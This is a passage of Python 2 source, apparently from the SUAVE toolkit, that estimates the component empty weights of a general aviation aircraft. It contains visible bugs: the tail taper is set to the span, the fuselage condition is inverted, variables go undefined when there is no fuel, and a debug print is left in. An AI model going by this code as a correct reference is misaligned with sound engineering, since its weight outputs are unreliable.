Computes the empty weight breakdown of a General Aviation type aircraft
Inputs:
engine - a data dictionary with the fields:
thrust_sls - sea level static thrust of a single engine [Newtons]
vehicle - a data dictionary with the fields:
reference_area [meters**2]
envelope - a data dictionary with the fields:
ultimate_load - ultimate load of the aircraft [dimensionless]
limit_load - limit load factor at zero fuel weight of the aircraft [dimensionless]
mass_properties - a data dictionary with the fields:
max_takeoff - max takeoff weight of the vehicle [kilograms]
max_zero_fuel - maximum zero fuel weight of the aircraft [kilograms]
cargo - cargo weight [kilograms]
passengers - number of passengers on the aircraft [dimensionless]
design_dynamic_pressure - dynamic pressure at cruise conditions [Pascal]
design_mach_number - mach number at cruise conditions [dimensionless]
propulsors - a data dictionary with the fields:
keys - identifier for the type of propulsor; different types have different fields
turbofan
thrust_sls - sealevel standard thrust [Newtons]
internal_combustion
rated_power - maximum rated power of the internal combustion engine [Watts]
number_engines - integer indicating the number of engines on the aircraft
wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
num_seats - number of seats installed on the aircraft [dimensionless]
ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
ac - determines type of instruments, electronics, and operating items based on types:
"short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
fuel - a data dictionary with the fields:
mass_properties - a data dictionary with the fields:
mass -mass of fuel [kilograms]
density - gravimetric density of fuel [kilograms/meter**3]
number_of_tanks - number of external fuel tanks [dimensionless]
internal_volume - internal fuel volume contained in the wing [meters**3]
wings - a data dictionary with the fields:
wing - a data dictionary with the fields:
span - span of the wing [meters]
taper - taper ratio of the wing [dimensionless]
thickness_to_chord - thickness-to-chord ratio of the wing [dimensionless]
chords - a data dictionary with the fields:
mean_aerodynamic - mean aerodynamic chord of the wing [meters]
root - root chord of the wing [meters]
sweeps - a data dictionary with the fields:
quarter_chord - quarter chord sweep angle of the wing [radians]
mac - mean aerodynamic chord of the wing [meters]
r_c - wing root chord [meters]
origin - location of the leading edge of the wing relative to the front of the fuselage [meters,meters,meters]
aerodynamic_center - location of the aerodynamic center of the horizontal_stabilizer relative to the leading edge of the wing [meters,meters,meters]
horizontal_stabilizer - a data dictionary with the fields:
areas - a data dictionary with the fields:
reference - reference area of the horizontal stabilizer [meters**2]
exposed - exposed area for the horizontal tail [meters**2]
taper - taper ratio of the horizontal stabilizer [dimensionless]
span - span of the horizontal tail [meters]
sweeps - a data dictionary with the fields:
quarter_chord - quarter chord sweep angle of the horizontal stabilizer [radians]
chords - a data dictionary with the fields:
mean_aerodynamic - mean aerodynamic chord of the horizontal stabilizer [meters]
root - root chord of the horizontal stabilizer
thickness_to_chord - thickness-to-chord ratio of the horizontal tail [dimensionless]
mac - mean aerodynamic chord of the horizontal tail [meters]
origin - location of the leading of the horizontal tail relative to the front of the fuselage [meters,meters,meters]
aerodynamic_center - location of the aerodynamic center of the horizontal_stabilizer relative to the leading edge of the horizontal stabilizer [meters,meters,meters]
vertical - a data dictionary with the fields:
areas - a data dictionary with the fields:
reference - reference area of the vertical stabilizer [meters**2]
span - span of the vertical tail [meters]
taper - taper ratio of the horizontal stabilizer [dimensionless]
t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
sweeps - a data dictionary with the fields:
quarter_chord - quarter chord sweep angle of the vertical stabilizer [radians]
t_tail - flag to determine if aircraft has a t-tail, "yes" [dimensionless]
fuselages - a data dictionary with the fields:
fuselage - a data dictionary with the fields:
areas - a data dictionary with the fields:
wetted - wetted area of the fuselage [meters**2]
differential_pressure - Maximum fuselage pressure differential [Pascal]
width - width of the fuselage [meters]
heights - a data dictionary with the fields:
maximum - height of the fuselage [meters]
lengths- a data dictionary with the fields:
structure - structural length of the fuselage [meters]
mass_properties - a data dictionary with the fields:
volume - total volume of the fuselage [meters**3]
internal_volume - internal volume of the fuselage [meters**3]
number_coach_sets - number of seats on the aircraft [dimensionless]
landing_gear - a data dictionary with the fields:
main - a data dictionary with the fields:
strut_length - strut length of the main gear [meters]
nose - a data dictionary with the fields:
strut_length - strut length of the nose gear [meters]
avionics - a data dictionary, used to determine if avionics weight is calculated, don't include if vehicle has none
air_conditioner - a data dictionary, used to determine if air conditioner weight is calculated, don't include if vehicle has none
Outputs:
output - a data dictionary with fields:
wing - wing weight [kilograms]
fuselage - fuselage weight [kilograms]
propulsion - propulsion [kilograms]
landing_gear_main - main gear weight [kilograms]
landing_gear_nose - nose gear weight [kilograms]
horizonal_tail - horizontal stabilizer weight [kilograms]
vertical_tail - vertical stabilizer weight [kilograms]
systems - total systems weight [kilograms]
systems_breakdown - a data dictionary with fields:
control_systems - control systems weight [kilograms]
hydraulics - hydraulics weight [kilograms]
avionics - avionics weight [kilograms]
electric - electrical systems weight [kilograms]
air_conditioner - air conditioner weight [kilograms]
furnish - furnishing weight [kilograms]
fuel_system - fuel system weight [ kilograms]
Wing, empannage, fuselage, propulsion and individual systems masses updated with their calculated values
Assumptions:
calculated aircraft weight from correlations created per component of historical aircraft
"""
# Unpack inputs
S_gross_w = vehicle.reference_area
fuel = vehicle.fuel
Nult = vehicle.envelope.ultimate_load
Nlim = vehicle.envelope.limit_load
TOW = vehicle.mass_properties.max_takeoff
wt_zf = vehicle.mass_properties.max_zero_fuel
num_pax = vehicle.passengers
wt_cargo = vehicle.mass_properties.cargo
q_c = vehicle.design_dynamic_pressure
mach_number = vehicle.design_mach_number
propulsor_name = vehicle.propulsors.keys()[0] #obtain the key for the propulsor for assignment purposes
propulsors = vehicle.propulsors[propulsor_name]
num_eng = propulsors.number_of_engines
if propulsor_name == 'turbofan':
thrust_sls = propulsors.sealevel_static_thrust
wt_engine_jet = Propulsion.engine_jet(thrust_sls)
wt_propulsion = Propulsion.integrated_propulsion(wt_engine_jet,num_eng)
propulsors.mass_properties.mass = wt_propulsion
elif propulsor_name == 'internal_combustion':
rated_power = propulsors.rated_power/num_eng
wt_engine_piston = Propulsion.engine_piston(rated_power)
wt_propulsion = Propulsion.integrated_propulsion_general_aviation(wt_engine_piston,num_eng)
propulsors.mass_properties.mass = wt_propulsion
else: #propulsor used is not an IC Engine or Turbofan; assume mass_properties defined outside model
wt_propulsion = propulsors.mass_properties.mass
if wt_propulsion==0:
warnings.warn("Propulsion mass= 0 ;e there is no Engine Weight being added to the Configuration", stacklevel=1)
#find fuel volume
if not vehicle.has_key('fuel'):
warnings.warn("fuel mass= 0 ; fuel system volume is calculated incorrectly ", stacklevel=1)
N_tank = 0
V_fuel = 0.
V_fuel_int = 0.
else:
m_fuel = fuel.mass_properties.mass
landing_weight = TOW-m_fuel #just assume this for now
N_tank = fuel.number_of_tanks
V_fuel_int = fuel.internal_volume #fuel in internal (as opposed to external tanks)
V_fuel = m_fuel/fuel.density #total fuel
fuel.mass_properties.volume = V_fuel
#main wing
if not vehicle.wings.has_key('main_wing'):
wt_wing = 0.0
wing_c_r = 0.0
warnings.warn("There is no Wing Weight being added to the Configuration", stacklevel=1)
else:
b = vehicle.wings['main_wing'].spans.projected
AR_w = (b**2.)/S_gross_w
taper_w = vehicle.wings['main_wing'].taper
t_c_w = vehicle.wings['main_wing'].thickness_to_chord
sweep_w = vehicle.wings['main_wing'].sweeps.quarter_chord
mac_w = vehicle.wings['main_wing'].chords.mean_aerodynamic
wing_c_r = vehicle.wings['main_wing'].chords.root
#now run weight script for the wing
wt_wing = wing_main(S_gross_w, m_fuel, AR_w, sweep_w, q_c, taper_w, t_c_w,Nult,TOW)
vehicle.wings['main_wing'].mass_properties.mass = wt_wing
if not vehicle.wings.has_key('horizontal_stabilizer'):
wt_tail_horizontal = 0.0
S_h = 0.0
warnings.warn("There is no Horizontal Tail Weight being added to the Configuration", stacklevel=1)
else:
S_h = vehicle.wings['horizontal_stabilizer'].areas.reference
b_h = vehicle.wings['horizontal_stabilizer'].spans.projected
AR_h = (b_h**2.)/S_h
taper_h = vehicle.wings['horizontal_stabilizer'].spans.projected
sweep_h = vehicle.wings['horizontal_stabilizer'].sweeps.quarter_chord
mac_h = vehicle.wings['horizontal_stabilizer'].chords.mean_aerodynamic
t_c_h = vehicle.wings['horizontal_stabilizer'].thickness_to_chord
l_w2h = vehicle.wings['horizontal_stabilizer'].origin[0] + vehicle.wings['horizontal_stabilizer'].aerodynamic_center[0] - vehicle.wings['main_wing'].origin[0] - vehicle.wings['main_wing'].aerodynamic_center[0] #used for fuselage weight
wt_tail_horizontal = tail_horizontal(S_h, AR_h, sweep_h, q_c, taper_h, t_c_h,Nult,TOW)
vehicle.wings['horizontal_stabilizer'].mass_properties.mass = wt_tail_horizontal
#vertical stabilizer
if not vehicle.wings.has_key('vertical_stabilizer'):
output_3 = Data()
output_3.wt_tail_vertical = 0.0
S_v = 0.0
warnings.warn("There is no Vertical Tail Weight being added to the Configuration", stacklevel=1)
else:
S_v = vehicle.wings['vertical_stabilizer'].areas.reference
b_v = vehicle.wings['vertical_stabilizer'].spans.projected
AR_v = (b_v**2.)/S_v
taper_v = vehicle.wings['vertical_stabilizer'].taper
t_c_v = vehicle.wings['vertical_stabilizer'].thickness_to_chord
sweep_v = vehicle.wings['vertical_stabilizer'].sweeps.quarter_chord
t_tail = vehicle.wings['vertical_stabilizer'].t_tail
output_3 = tail_vertical(S_v, AR_v, sweep_v, q_c, taper_v, t_c_v, Nult,TOW,t_tail)
vehicle.wings['vertical_stabilizer'].mass_properties.mass = output_3.wt_tail_vertical
if not vehicle.has_key('fuselages.fuselage'):
S_fus = vehicle.fuselages['fuselage'].areas.wetted
diff_p_fus = vehicle.fuselages['fuselage'].differential_pressure
w_fus = vehicle.fuselages['fuselage'].width
h_fus = vehicle.fuselages['fuselage'].heights.maximum
l_fus = vehicle.fuselages['fuselage'].lengths.structure
V_fuse = vehicle.fuselages['fuselage'].mass_properties.volume
V_int = vehicle.fuselages['fuselage'].mass_properties.internal_volume
num_seats = vehicle.fuselages['fuselage'].number_coach_seats
#calculate fuselage weight
wt_fuselage = fuselage(S_fus, Nult, TOW, w_fus, h_fus, l_fus, l_w2h, q_c, V_fuse, diff_p_fus)
else:
print 'got here'
warnings.warn('There is no Fuselage weight being added to the vehicle', stacklevel=1)
#landing gear
if not vehicle.has_key('landing_gear'):
warnings.warn('There is no Landing Gear weight being added to the vehicle', stacklevel=1)
wt_landing_gear = Data()
wt_landing_gear.main = 0.0
wt_landing_gear.nose = 0.0
else:
landing_gear_component = vehicle.landing_gear #landing gear previously defined
strut_length_main = landing_gear_component.main.strut_length
strut_length_nose = landing_gear_component.nose.strut_length
wt_landing_gear = landing_gear(landing_weight, Nult, strut_length_main, strut_length_nose)
landing_gear_component.main.mass_properties.mass = wt_landing_gear.main
landing_gear_component.nose.mass_properties.mass = wt_landing_gear.nose
if not vehicle.has_key('avionics'):
warnings.warn('There is no avionics weight being added to the vehicle; many weight correlations are dependant on this', stacklevel=1)
avionics = SUAVE.Components.Energy.Peripherals.Avionics()
W_uav = 0.
else:
avionics = vehicle.avionics
W_uav = avionics.mass_properties.uninstalled
has_air_conditioner = 0
if vehicle.has_key('air_conditioner'):
has_air_conditioner = 1
# Calculating Empty Weight of Aircraft
output_2 = systems(W_uav,V_fuel, V_fuel_int, N_tank, num_eng, l_fus, b, TOW, Nult, num_seats, mach_number, has_air_conditioner)
# Calculate the equipment empty weight of the aircraft
wt_empty = (wt_wing + wt_fuselage + wt_landing_gear.main+wt_landing_gear.nose + wt_propulsion + output_2.wt_systems + \
wt_tail_horizontal + output_3.wt_tail_vertical)
vehicle.fuselages['fuselage'].mass_properties.mass = wt_fuselage
# packup outputs
output = payload(TOW, wt_empty, num_pax,wt_cargo)
output.wing = wt_wing
output.fuselage = wt_fuselage
output.propulsion = wt_propulsion
output.landing_gear_main = wt_landing_gear.main
output.landing_gear_nose = wt_landing_gear.nose
output.horizontal_tail = wt_tail_horizontal
output.vertical_tail = output_3.wt_tail_vertical
output.systems = output_2.wt_systems
output.systems_breakdown = Data()
output.systems_breakdown.control_systems = output_2.wt_flt_ctrl
output.systems_breakdown.hydraulics = output_2.wt_hyd_pnu
output.systems_breakdown.avionics = output_2.wt_avionics
output.systems_breakdown.electrical = output_2.wt_elec
output.systems_breakdown.air_conditioner = output_2.wt_ac
output.systems_breakdown.furnish = output_2.wt_furnish
output.systems_breakdown.fuel_system = output_2.wt_fuel_sys
#define weights components
control_systems = SUAVE.Components.Physical_Component()
electrical_systems= SUAVE.Components.Physical_Component()
passengers = SUAVE.Components.Physical_Component()
furnishings = SUAVE.Components.Physical_Component()
apu = SUAVE.Components.Physical_Component()
hydraulics = SUAVE.Components.Physical_Component()
#assign output weights to objects
control_systems.mass_properties.mass = output.systems_breakdown.control_systems
electrical_systems.mass_properties.mass = output.systems_breakdown.electrical
passengers.mass_properties.mass = output.pax + output.bag
furnishings.mass_properties.mass = output.systems_breakdown.furnish
avionics.mass_properties.mass = output.systems_breakdown.avionics
hydraulics.mass_properties.mass = output.systems_breakdown.hydraulics
if has_air_conditioner:
vehicle.air_conditioner.mass_properties.mass = output.systems_breakdown.air_conditioner
#assign components to vehicle
vehicle.control_systems = control_systems
vehicle.electrical_systems = electrical_systems
vehicle.avionics = avionics
vehicle.furnishings = furnishings
vehicle.passenger_weights = passengers
vehicle.apu = apu
vehicle.hydraulics = hydraulics
vehicle.landing_gear = landing_gear_component
#note; air conditioner optional, and weight is added to the air_conditioner object directly
return output